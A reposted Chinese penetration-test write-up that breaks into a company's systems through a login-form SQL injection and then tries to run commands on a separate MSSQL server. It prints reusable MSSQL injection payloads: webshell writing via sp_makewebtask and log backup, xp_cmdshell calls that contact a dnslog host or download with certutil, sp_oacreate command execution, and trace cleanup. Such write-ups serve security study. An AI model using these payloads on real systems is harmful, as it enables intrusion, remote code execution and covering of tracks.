实战 | 记一次无回显不出网站库分离的渗透测试

admin 2025年1月16日23:35:21评论14 views字数 3202阅读10分40秒阅读模式

作者:海鸥i

转载于https://xz.aliyun.com/t/11005

某日接到一个项目,只给了一个二维码。

实战 | 记一次无回显不出网站库分离的渗透测试

1、数据管理系统

扫描二维码后在页面下方得到该公司的名字,百度搜索该公司的名字,找到一个数据中心。

实战 | 记一次无回显不出网站库分离的渗透测试

访问该页面后发现存在用户名遍历,使用Burp爆破"常见用户名Top500"得到三个账号,并成功爆出其中一个账号的密码。

实战 | 记一次无回显不出网站库分离的渗透测试

登陆后发现大都是一些信息管理的功能,没有发现可利用的点。

实战 | 记一次无回显不出网站库分离的渗透测试

可能是没有管理员账号,所以功能较少,这种后台感觉拿到管理员账号也有点悬,先看其他的。

2、旁站

2.1 登陆后台

在Fofa搜索该IP找到另一个站点,是该公司的其他系统。

实战 | 记一次无回显不出网站库分离的渗透测试

该页面的账号是自动填充,输入密码点击登陆会报500。
可能是密码错误的返回页面?一边爆破密码一遍测其他漏洞。

实战 | 记一次无回显不出网站库分离的渗透测试

在输入登陆密码的时候加入单引号,出现了SQL报错,经过测试存在Sql注入。

实战 | 记一次无回显不出网站库分离的渗透测试

现在的思路是进入后台测试是否可以Getshell、通过Sql注入进行Getshell。
使用万能密码进入后台,提示是游客权限,也没有什么利用点,准备获取管理员账号密码。

实战 | 记一次无回显不出网站库分离的渗透测试

得到登陆后台账号密码后,输入正确密码也会报500,很奇怪。

实战 | 记一次无回显不出网站库分离的渗透测试

放下后台Getshell的思路,尝试Sql注入Getshell。

2.2 Mssql注入Get WebShell

经过简单的信息收集,得到该系统的信息 mssql 2012 dbo权限 win6.2
常见的Getshell方法有写Webshell、通过扩展执行命令。打算先写Webshell,以免开启扩展执行命令过程中被杀软拦截打草惊蛇。

Mssql常用的写Webshell方法"差异备份、Log备份、sp_makewebtask"等,写webshell的之前可以先写一个正常文件,来确认可以写入。

2.2.1 sp_makewebtask写Shell

权限:dbo、sa 且对写入的路径有写权限

条件:存在sp_makewebtask扩展
大致思路是创建一个表,将十六进制的Webshell插入表中,使用sp_makewebtask导出表中的数据到指定文件。

';create table cmd (a image)--';insert into cmd(a) values(0x616263)-- #webshell的16进制';execute sp_makewebtask @outputfile='D:test1.txt','@query='select a from cmd'--';drop table cmd--

在网上看到可以使用一条语句来完成,不过没有测试,因为该服务器不存在sp_makewebtask扩展....

exec sp_makewebtask 'c:wwwtestwr.asp','select''<%execute(request("zz"))%>'' '

实战 | 记一次无回显不出网站库分离的渗透测试

2.2.2 Log备份

在两个备份Getshell方法中,先试Log备份。Log备份只备份操作日志,相对来说导出的文件较小。

;alter database 数据库名称 set RECOVERY FULL -- #将数据库设置为完整模式,完整模式会记录所有操作日志,支持备份日志。;create table cmd (a image) --;backup log db_name to disk = 'E:testtest.aspx' with init -- #备份db_name数据库的日志到指定文件头部;insert into cmd (a) values ('hex_webshell')-- ;backup log 数据库名称 to disk = 'E:testtest.aspx' --

Sql报错泄露了绝对路径,省去找路径的麻烦。语句执行过程中,一直提示找不到指定路径。

实战 | 记一次无回显不出网站库分离的渗透测试

先尝试往C盘写文件,测试是否有写入权限。执行完后没报错,说明写进去了,不是权限问题。

实战 | 记一次无回显不出网站库分离的渗透测试

在这想了半天,突然想起来在信息收集的时候没有测该站点是否为站库分离!
啊这.....

@@servername > 0

实战 | 记一次无回显不出网站库分离的渗透测试

select host_name > 0

实战 | 记一次无回显不出网站库分离的渗透测试

先暂时放弃通过写Webshell来Getshell了。如果数据库在外网的话,它所在的服务器没有搭建web服务,写了也没法访问,访问到了也不一定解析,何况数据库的IP都没有...

2.3 执行命令

2.3.1 判断扩展是否存在

使用扩展执行命令前一般先判断该扩展是否存在,Bool型判断语句在这不适用,无论返回的是True还是False都会报错。
执行为true

实战 | 记一次无回显不出网站库分离的渗透测试

把xp_cmdshell改成不存在扩展还是会报错

实战 | 记一次无回显不出网站库分离的渗透测试

可能就是xp_cmdshell不存在,但在之后又尝试了几个扩展,都返回统一报错页面。
可以使用时间盲注判断。

';if(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')=1 waitfor delay '0:0:5'--

实战 | 记一次无回显不出网站库分离的渗透测试

如果有报错回显的话,也可以通过执行该扩展判断。
 

实战 | 记一次无回显不出网站库分离的渗透测试

2.3.2 xp_cmdshell

mssql中最常见的执行命令扩展,05版本以后默认关闭。
之前已经判断xp_cmdshell存在,将其开启后先判断该扩展是否可以正常执行命令。
这里使用ping判断该命令是否成功执行,但执行完会一直卡在那。dnslog也没有回显,之后又尝试了http、dns协议也都没有回显。

;exec master..xp_cmdshell 'ping xxx.dnslog.cn';exec master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/';exec master..xp_cmdshell 'nslookup xxx.dnslog.cn'

以前遇到过这种情况,是被杀软拦截了,于是乎先pass。

2.3.3 sp_oacreate

使用sp_oacreate执行命令,缺点是没有回显。延续xp_cmdshell的思路,先通过测试是否出网来确定命令是否成功执行。测试完发现和xp_cmdshell的结果一样,平台都接收不到请求。
这时我怀疑不是杀软的问题,可能是数据库服务器不出网?

为了验证该想法,改用另一种方式来判断。思路是执行命令并将执行结果写入本地文件,然后使用Bulk insert将命令回显读取到数据库,最后通过Sql查询就可以获取到命令执行结果。

执行命令保将执行结果写入文件

;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami  > c:\1.txt';

实战 | 记一次无回显不出网站库分离的渗透测试

将命令执行结果导入表

create table testa(line text);bulk insert testa from 'c:\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');--

实战 | 记一次无回显不出网站库分离的渗透测试

查询表中内容(命令执行结果)

and 1=(select top 1 * from 数据库名..testa FOR XML PATH(''))--

实战 | 记一次无回显不出网站库分离的渗透测试

最后进行痕迹清理,将该表、存储执行命令回显的文件删除。

实战 | 记一次无回显不出网站库分离的渗透测试

整合这几步操作
 

实战 | 记一次无回显不出网站库分离的渗透测试

通过读取到的命令回显,印证了之前的想法。

2.3 遇到的问题

2.3.1 无法进行大容量加载

如果没杀软出现这种情况,可能因为命令还没执行完,等等就好了。

实战 | 记一次无回显不出网站库分离的渗透测试

2.3.1 将被二进制截断

这个问题我也没解决,百度得到的结果是字段长度问题,不过我改了没成功。

实战 | 记一次无回显不出网站库分离的渗透测试

可以配合findstr过滤想要的内容

3、后记

后续测试xp_cmdshell其实也可以执行命令,不过也是没回显,思路和sp_oacreate一样。
做完这些一看时间已经下午四点了,回想起上一次看到今天早上的阳光,还是在今天早上。

实战 | 记一次无回显不出网站库分离的渗透测试实战 | 记一次无回显不出网站库分离的渗透测试

↑↑↑长按图片识别二维码关註↑↑↑

原文始发于微信公众号(全栈网络空间安全):实战 | 记一次无回显不出网站库分离的渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:35:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 记一次无回显不出网站库分离的渗透测试https://cn-sec.com/archives/1081634.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息